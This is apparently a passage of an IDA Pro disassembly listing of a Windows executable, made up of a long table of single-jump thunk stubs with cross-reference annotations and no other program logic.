; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BD6 proc near ; CODE XREF: sub_422A40+924p
; ___:0042408Ap
jmp sub_4258E0
sub_401BD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BDB proc near ; CODE XREF: sub_42D2C0+18Dp
; sub_42D2C0+1CDp ...
jmp sub_42DFD0
sub_401BDB endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BE0 proc near ; CODE XREF: ___:0041426Cp
jmp sub_414360
sub_401BE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BE5 proc near
jmp sub_40C360
sub_401BE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BEA proc near ; CODE XREF: sub_425020+8Bp
jmp sub_424840
sub_401BEA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BEF proc near ; CODE XREF: ___:0040B11Ep
; sub_40B170+34p ...
jmp sub_40BDD0
sub_401BEF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BF4 proc near ; CODE XREF: sub_40B0B0+5Cp
jmp sub_40BC70
sub_401BF4 endp
; ---------------------------------------------------------------------------
jmp loc_4327C0
; ---------------------------------------------------------------------------
jmp loc_431120
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C03 proc near ; CODE XREF: sub_430AD0+20p
; sub_430C00+20p ...
jmp sub_430690
sub_401C03 endp
; ---------------------------------------------------------------------------
jmp loc_42ED30
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C0D proc near
jmp sub_4347B0
sub_401C0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C12 proc near ; CODE XREF: sub_4137E0+84p
; sub_433A20+3Cp ...
jmp sub_433940
sub_401C12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C17 proc near ; CODE XREF: ___:0042C4D8p
jmp sub_42B060
sub_401C17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C1C proc near ; CODE XREF: sub_42A810+446p
jmp sub_42A5F0
sub_401C1C endp
; ---------------------------------------------------------------------------
jmp loc_41B620
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C26 proc near ; CODE XREF: ___:00431256p
; sub_4331D0+23p
jmp sub_431AC0
sub_401C26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C2B proc near ; DATA XREF: ___:off_43E12Co
jmp sub_427FF0
sub_401C2B endp
; ---------------------------------------------------------------------------
jmp loc_41FC80
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C35 proc near ; CODE XREF: sub_41AFE0+8p
; ___:0041B39Dp ...
jmp sub_41A010
sub_401C35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C3A proc near ; CODE XREF: sub_42A100+3p
jmp sub_42A130
sub_401C3A endp
; ---------------------------------------------------------------------------
jmp loc_41AD80
; ---------------------------------------------------------------------------
jmp loc_416990
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C49 proc near ; CODE XREF: sub_40BD90+1Fp
jmp sub_40BEC0
sub_401C49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C4E proc near ; CODE XREF: sub_415A00+9p
; sub_415B20+18p
jmp sub_4165D0
sub_401C4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C53 proc near ; CODE XREF: sub_418C50+4p
jmp sub_418F70
sub_401C53 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C58 proc near ; CODE XREF: sub_407370+11p
; ___:00407397p ...
jmp sub_407520
sub_401C58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C5D proc near ; CODE XREF: sub_404C70+111p
; sub_40D580+42p ...
jmp sub_40A1F0
sub_401C5D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C62 proc near ; CODE XREF: ___:0041319Ap
; sub_413220+3Cp ...
jmp sub_4157E0
sub_401C62 endp
; ---------------------------------------------------------------------------
jmp loc_42E9C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C6C proc near ; CODE XREF: sub_4256B0+69p
jmp sub_425820
sub_401C6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C71 proc near ; CODE XREF: sub_40B520+2Fp
; sub_40B520+6Ep ...
jmp sub_40BD60
sub_401C71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C76 proc near ; CODE XREF: ___:0042ED88p
; ___:0042ED9Dp ...
jmp sub_432CC0
sub_401C76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C7B proc near ; CODE XREF: sub_415370+11p
; sub_415DD0+1Fp
jmp sub_415FC0
sub_401C7B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C80 proc near ; DATA XREF: ___:0043E0D4o
jmp sub_41D830
sub_401C80 endp
; ---------------------------------------------------------------------------
jmp loc_419910
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C8A proc near ; CODE XREF: sub_407370+9p
; sub_418D80+18p
jmp sub_4075C0
sub_401C8A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C8F proc near ; CODE XREF: sub_4131F0+3p
; ___:00416B3Bp ...
jmp sub_413220
sub_401C8F endp
; ---------------------------------------------------------------------------
jmp loc_40B810
; ---------------------------------------------------------------------------
loc_401C99: ; DATA XREF: ___:off_43E05Co
jmp loc_416C90
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CA3 proc near ; CODE XREF: ___:00416E6Ap
jmp sub_4181B0
sub_401CA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CA8 proc near ; CODE XREF: sub_415AA0+Cp
; sub_415AA0+43p
jmp sub_4165A0
sub_401CA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401CAD proc near ; CODE XREF: sub_409600+45p
jmp sub_4098E0
sub_401CAD endp
; ---------------------------------------------------------------------------
jmp loc_433140
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CBC proc near ; CODE XREF: sub_40FF60+3A4p
jmp sub_40A000
sub_401CBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401CC1 proc near ; CODE XREF: sub_407790+646p
; ___:00407E7Dp ...
jmp sub_4076F0
sub_401CC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CC6 proc near ; CODE XREF: sub_415420+16p
; sub_415460+Bp ...
jmp sub_416090
sub_401CC6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CCB proc near ; CODE XREF: sub_409600+144p
jmp sub_409970
sub_401CCB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CD0 proc near ; CODE XREF: sub_404640+1C2p
; sub_404B10+36p ...
jmp sub_4133D0
sub_401CD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401CD5 proc near ; CODE XREF: sub_4150F0+34p
; sub_415B20+67p
jmp sub_415CC0
sub_401CD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CDA proc near
jmp sub_409AA0
sub_401CDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CDF proc near ; DATA XREF: ___:0043E06Co
jmp sub_41FC00
sub_401CDF endp
; ---------------------------------------------------------------------------
jmp loc_42E0B0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CE9 proc near ; CODE XREF: sub_40BE90+5p
jmp sub_40C0F0
sub_401CE9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401CEE proc near ; CODE XREF: ___:0043113Fp
jmp sub_42F230
sub_401CEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CF3 proc near ; CODE XREF: sub_421D50+11p
; ___:00421D77p ...
jmp sub_422300
sub_401CF3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401CF8 proc near ; DATA XREF: ___:0043E048o
jmp sub_4131F0
sub_401CF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401CFD proc near ; CODE XREF: sub_4157A0+1Fp
jmp sub_416120
sub_401CFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D02 proc near ; CODE XREF: sub_40F600+1ACp
; sub_40F600+1EDp ...
jmp sub_40F590
sub_401D02 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D07 proc near ; CODE XREF: sub_413DA0+15Cp
jmp sub_414090
sub_401D07 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D0C proc near ; CODE XREF: sub_404C20+23p
; sub_40FF60+13C2p
jmp sub_412B20
sub_401D0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D11 proc near ; CODE XREF: ___:00416E2Fp
jmp sub_418050
sub_401D11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D16 proc near ; CODE XREF: sub_407540+7p
; sub_40C200+7p ...
jmp sub_4075E0
sub_401D16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D1B proc near ; CODE XREF: sub_40A810+1Ap
; sub_40A8C0+4p ...
jmp sub_40A880
sub_401D1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D20 proc near ; CODE XREF: sub_404640+289p
; sub_404640+2ADp ...
jmp sub_40A0A0
sub_401D20 endp
; ---------------------------------------------------------------------------
jmp loc_42F2B0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D2A proc near ; DATA XREF: ___:0043E154o
jmp sub_4282C0
sub_401D2A endp
; ---------------------------------------------------------------------------
jmp loc_42E680
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D34 proc near
jmp sub_403FC0
sub_401D34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D39 proc near ; CODE XREF: sub_411FE0+123p
; sub_411FE0+1E2p
jmp sub_4126B0
sub_401D39 endp
; ---------------------------------------------------------------------------
jmp loc_41B470
; ---------------------------------------------------------------------------
jmp loc_40B790
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D48 proc near ; CODE XREF: sub_421C80+5p
jmp sub_4221E0
sub_401D48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D4D proc near ; CODE XREF: sub_415E70+5Fp
jmp sub_416690
sub_401D4D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D52 proc near ; CODE XREF: sub_41D830+2C7p
jmp sub_42EA40
sub_401D52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D57 proc near ; CODE XREF: sub_418BA0+7p
jmp sub_418E40
sub_401D57 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D5C proc near ; CODE XREF: sub_413670+5Dp
; sub_413670+9Bp ...
jmp sub_415340
sub_401D5C endp
; ---------------------------------------------------------------------------
jmp loc_4360A0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D66 proc near ; CODE XREF: sub_415730+16p
; sub_415770+Bp ...
jmp sub_4163E0
sub_401D66 endp
; ---------------------------------------------------------------------------
jmp loc_40B880
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D70 proc near ; CODE XREF: sub_432ED0+98p
jmp sub_430660
sub_401D70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D75 proc near ; CODE XREF: sub_421B60+16p
; sub_421BA0+Bp ...
jmp sub_4221B0
sub_401D75 endp
; ---------------------------------------------------------------------------
jmp loc_42C7E0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D7F proc near
jmp sub_41C390
sub_401D7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D84 proc near ; CODE XREF: sub_4189B0+16p
; sub_4189F0+Bp ...
jmp sub_418D20
sub_401D84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D89 proc near ; CODE XREF: sub_413670+53p
; sub_413670+91p ...
jmp sub_4151A0
sub_401D89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D8E proc near ; CODE XREF: sub_422A40+56p
jmp sub_4258A0
sub_401D8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D93 proc near ; CODE XREF: sub_422A40+18Ap
jmp sub_4257A0
sub_401D93 endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D9D proc near ; CODE XREF: sub_428040+81p
jmp sub_427AD0
sub_401D9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401DA2 proc near ; CODE XREF: sub_415680+11p
; sub_416120+1Fp
jmp sub_416310
sub_401DA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DA7 proc near ; CODE XREF: sub_415160+16p
; sub_4151A0+Bp ...
jmp sub_415D40
sub_401DA7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DAC proc near ; CODE XREF: ___:00414713p
jmp sub_4144D0
sub_401DAC endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401DB6 proc near ; CODE XREF: sub_426F70+90p
jmp sub_427520
sub_401DB6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DBB proc near ; CODE XREF: ___:0042B178p
jmp sub_42AEC0
sub_401DBB endp
; ---------------------------------------------------------------------------
jmp loc_414120
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DC5 proc near ; CODE XREF: sub_4337E0+74p
jmp sub_4317F0
sub_401DC5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DCA proc near ; CODE XREF: sub_41FA90+1Dp
jmp sub_40B070
sub_401DCA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401DCF proc near ; CODE XREF: sub_40A9F0+45p
jmp sub_40AC70
sub_401DCF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401DD4 proc near ; CODE XREF: ___:0042F33Dp
; ___:0042F462p ...
jmp sub_431990
sub_401DD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DD9 proc near ; CODE XREF: ___:00425C34p
jmp sub_426EB0
sub_401DD9 endp
; ---------------------------------------------------------------------------
jmp loc_431A60
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DE3 proc near ; CODE XREF: sub_40FF60+AE7p
; sub_40FF60+E5Dp
jmp sub_41EE70
sub_401DE3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DE8 proc near ; CODE XREF: sub_40ACA0+Ap
jmp sub_40AD90
sub_401DE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DED proc near ; CODE XREF: ___:00416A3Bp
; ___:00439F7Aj ...
jmp sub_417AE0
sub_401DED endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401DF2 proc near ; CODE XREF: sub_421E80+4p
jmp sub_422320
sub_401DF2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DF7 proc near ; CODE XREF: sub_40C400+271p
; sub_425020+50p
jmp sub_423660
sub_401DF7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DFC proc near ; CODE XREF: ___:0041617Ap
jmp sub_416760
sub_401DFC endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E01 proc near ; CODE XREF: sub_415CC0+7p
jmp sub_4164C0
sub_401E01 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E06 proc near ; CODE XREF: sub_41D830+19Bp
jmp sub_42C790
sub_401E06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E0B proc near ; CODE XREF: sub_404C70+83Bp
; sub_404C70+B68p ...
jmp sub_412900
sub_401E0B endp
; ---------------------------------------------------------------------------
jmp sub_4131F0
; ---------------------------------------------------------------------------
jmp sub_428220
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E1A proc near ; CODE XREF: sub_4153B0+34p
; sub_415E70+67p
jmp sub_416010
sub_401E1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E1F proc near ; CODE XREF: sub_413670+31p
; sub_4144D0+2Dp
jmp sub_4152D0
sub_401E1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E24 proc near ; CODE XREF: sub_40CBB0+1EEp
; ___:00423EC5p ...
jmp sub_425640
sub_401E24 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E29 proc near ; CODE XREF: sub_4158F0+3p
jmp sub_4163C0
sub_401E29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E2E proc near ; CODE XREF: sub_404640+97p
; sub_404640+107p ...
jmp sub_40A3C0
sub_401E2E endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E38 proc near ; CODE XREF: ___:00423CFDp
jmp sub_423850
sub_401E38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E3D proc near ; CODE XREF: ___:00421D0Ap
jmp sub_422210
sub_401E3D endp
; ---------------------------------------------------------------------------
jmp loc_416D30
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E47 proc near
jmp sub_4355E0
sub_401E47 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E4C proc near ; DATA XREF: ___:off_43E098o
jmp sub_4356F0
sub_401E4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E51 proc near ; CODE XREF: ___:0043250Fp
jmp sub_42FDB0
sub_401E51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E56 proc near ; CODE XREF: sub_4165A0+5p
jmp sub_4167F0
sub_401E56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E5B proc near ; CODE XREF: sub_404C70+28Dp
; sub_41D830+6A6p
jmp sub_40DB40
sub_401E5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E60 proc near ; CODE XREF: sub_422410+5Fp
jmp sub_422600
sub_401E60 endp
; ---------------------------------------------------------------------------
jmp loc_419E90
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E6A proc near ; CODE XREF: sub_40F600+22p
; sub_411860+1Dp ...
jmp sub_40ADC0
sub_401E6A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E6F proc near ; CODE XREF: sub_40A9F0+112p
; sub_40A9F0+153p
jmp sub_40ACD0
sub_401E6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E74 proc near ; DATA XREF: ___:off_43E0C0o
jmp sub_41B010
sub_401E74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E79 proc near ; CODE XREF: sub_4155E0+3p
jmp sub_416070
sub_401E79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E7E proc near ; CODE XREF: sub_426960+1Ap
jmp sub_426820
sub_401E7E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E83 proc near ; CODE XREF: ___:00416B0Bp
; ___:00439EC4j ...
jmp sub_4175E0
sub_401E83 endp
; ---------------------------------------------------------------------------
jmp loc_431EC0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E8D proc near ; CODE XREF: sub_4200F0+3Ap
jmp sub_420300
sub_401E8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E92 proc near ; DATA XREF: ___:0043E114o
jmp sub_426F70
sub_401E92 endp
; ---------------------------------------------------------------------------
jmp loc_432800
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E9C proc near ; CODE XREF: sub_416310+4p
jmp sub_416710
sub_401E9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EA1 proc near ; CODE XREF: sub_415830+4Fp
; sub_4161C0+11p ...
jmp sub_416410
sub_401EA1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EA6 proc near ; CODE XREF: sub_415650+5p
jmp sub_4160F0
sub_401EA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EAB proc near ; CODE XREF: sub_424840+151p
jmp sub_424800
sub_401EAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EB0 proc near ; CODE XREF: ___:00416AABp
; ___:00439F18j ...
jmp sub_417830
sub_401EB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EB5 proc near ; CODE XREF: sub_4152D0+3p
jmp sub_415D20
sub_401EB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401EBA proc near ; CODE XREF: sub_415030+11p
; sub_415070+13p ...
jmp sub_415C70
sub_401EBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EBF proc near ; CODE XREF: sub_421960+16p
; sub_4219A0+Bp ...
jmp sub_421F50
sub_401EBF endp
; ---------------------------------------------------------------------------
jmp loc_418860
; ---------------------------------------------------------------------------
jmp loc_41C250
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401ECE proc near ; CODE XREF: sub_418E90+18p
; sub_421CB0+9p
jmp sub_419050
sub_401ECE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401ED3 proc near ; CODE XREF: sub_422540+Ap
jmp sub_4226E0
sub_401ED3 endp
; ---------------------------------------------------------------------------
jmp loc_41BC50
; ---------------------------------------------------------------------------
jmp loc_4328B0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EE2 proc near ; CODE XREF: ___:00416A0Bp
; ___:00439FA4j ...
jmp sub_417B20
sub_401EE2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EE7 proc near ; CODE XREF: sub_40A810+13p
jmp loc_40A950
sub_401EE7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EEC proc near ; CODE XREF: sub_41B060:loc_41B0ACp
; sub_41B950+54p ...
jmp sub_4198A0
sub_401EEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401EF1 proc near ; CODE XREF: ___:004142C5p
jmp sub_415490
sub_401EF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401EF6 proc near ; CODE XREF: sub_4156C0+34p
; sub_4161C0+67p
jmp sub_416360
sub_401EF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EFB proc near ; CODE XREF: sub_4152F0+3p
; ___:00415A4Fp ...
jmp sub_415D00
sub_401EFB endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F00 proc near
jmp sub_412C10
sub_401F00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F05 proc near ; CODE XREF: sub_413120+4Dp
jmp sub_415370
sub_401F05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F0A proc near ; CODE XREF: sub_4070F0+5Cp
; sub_418E60+3p
jmp sub_407310
sub_401F0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F0F proc near ; CODE XREF: ___:00419103p
jmp sub_419170
sub_401F0F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F14 proc near ; CODE XREF: ___:0040BF1Ap
jmp sub_40C250
sub_401F14 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F19 proc near ; CODE XREF: ___:0042B15Fp
jmp sub_42ADB0
sub_401F19 endp
; ---------------------------------------------------------------------------
loc_401F1E: ; DATA XREF: ___:off_43E08Co
jmp loc_4348A0
; ---------------------------------------------------------------------------
loc_401F23: ; DATA XREF: ___:004240B4o
jmp loc_423C10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F28 proc near ; CODE XREF: ___:00416A6Bp
; ___:00439F50j ...
jmp sub_417A40
sub_401F28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F2D proc near ; CODE XREF: sub_413B70+99p
jmp sub_413D40
sub_401F2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F32 proc near ; CODE XREF: sub_40B390+3Dp
; ___:0040BB2Dp ...
jmp sub_40B700
sub_401F32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F37 proc near ; CODE XREF: ___:loc_423CA7p
jmp sub_423720
sub_401F37 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F3C proc near ; CODE XREF: sub_404C70+A3Ep
jmp sub_406890
sub_401F3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F41 proc near ; DATA XREF: ___:off_43E1A0o
jmp sub_42B350
sub_401F41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F46 proc near ; CODE XREF: sub_4139B0+72p
jmp sub_413670
sub_401F46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F4B proc near ; CODE XREF: sub_418330+5Fp
; sub_418940+1Ap ...
jmp sub_4189B0
sub_401F4B endp
; ---------------------------------------------------------------------------
jmp loc_42EFA0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F55 proc near ; CODE XREF: sub_42E400+B5p
jmp sub_42D2C0
sub_401F55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F5A proc near ; CODE XREF: sub_40B520+4Bp
; sub_40B520:loc_40B5ABp ...
jmp sub_40BE40
sub_401F5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F5F proc near
jmp sub_41E400
sub_401F5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F64 proc near ; CODE XREF: sub_40A430+142p
jmp sub_40A810
sub_401F64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F69 proc near ; CODE XREF: sub_404640+35Dp
; sub_404640+39Ep
jmp sub_404B10
sub_401F69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F6E proc near ; CODE XREF: sub_415DD0+9p
; sub_415E70+18p
jmp sub_4166D0
sub_401F6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F73 proc near ; CODE XREF: sub_431B30+1Bp
jmp sub_431BE0
sub_401F73 endp
; ---------------------------------------------------------------------------
jmp loc_42AFD0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F7D proc near ; CODE XREF: sub_426450+1Dp
; sub_4269A0+1Dp ...
jmp sub_4264C0
sub_401F7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F82 proc near ; CODE XREF: sub_427DC0+1Dp
; sub_428160+1Fp ...
jmp sub_427E30
sub_401F82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F87 proc near ; CODE XREF: ___:00429D73p
jmp sub_429DA0
sub_401F87 endp
; ---------------------------------------------------------------------------
jmp loc_406BD0
; ---------------------------------------------------------------------------
jmp loc_40D460
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F96 proc near ; CODE XREF: sub_409600+112p
; sub_409600+153p
jmp sub_409940
sub_401F96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F9B proc near ; CODE XREF: sub_422600+5p
jmp sub_422770
sub_401F9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FA0 proc near ; CODE XREF: sub_407340+5p
jmp sub_4074F0
sub_401FA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FA5 proc near ; CODE XREF: sub_413670+6Fp
; sub_413670+DBp ...
jmp sub_4152F0
sub_401FA5 endp
; ---------------------------------------------------------------------------
jmp loc_42B830
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401FAF proc near ; CODE XREF: sub_415210+5Ep
; sub_415BE0+32p
jmp sub_415B20
sub_401FAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FB4 proc near
jmp sub_40F030
sub_401FB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FB9 proc near ; CODE XREF: sub_412B20+3p
jmp sub_412B50
sub_401FB9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FBE proc near ; CODE XREF: sub_404640+48p
; sub_404640+5Dp ...
jmp sub_409D20
sub_401FBE endp
; ---------------------------------------------------------------------------
jmp loc_419950
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FC8 proc near ; CODE XREF: sub_41A0E0+3p
; sub_41B040+9j ...
jmp sub_41A110
sub_401FC8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401FCD proc near ; CODE XREF: sub_40BCB0+34p
; sub_40C120+67p
jmp sub_40C040
sub_401FCD endp
; ---------------------------------------------------------------------------
